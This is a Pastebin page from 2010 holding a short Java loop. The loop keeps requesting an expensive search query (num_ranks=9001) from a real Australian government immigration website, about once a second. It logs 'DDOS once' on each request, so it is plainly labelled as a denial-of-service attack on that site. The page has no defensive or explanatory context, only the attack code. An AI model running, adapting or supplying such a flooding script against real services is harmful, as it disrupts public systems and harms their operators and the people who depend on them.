Share Pastebin
Guest
Public paste!

Untitled

By: a guest | Feb 12th, 2010 | Syntax: None | Size: 0.38 KB | Hits: 317 | Expires: Never
This paste has a previous version, view the difference. Copy text to clipboard
  1.                 while (true) {
  2.                         try {
  3.                                 URL url = new URL("http://www.immi.gov.au/search/search.cgi?query=a&collection=dima-meta&form=simple&num_ranks=9001");
  4.                                 HttpURLConnection con = (HttpURLConnection) url.openConnection();
  5.                                 con.connect();
  6.                                 Thread.sleep(1000);
  7.                                 con.disconnect();
  8.                                 System.err.println("DDOS once");
  9.                         } catch (Exception ex) {
  10.                                 ex.printStackTrace();
  11.                         }
  12.                 }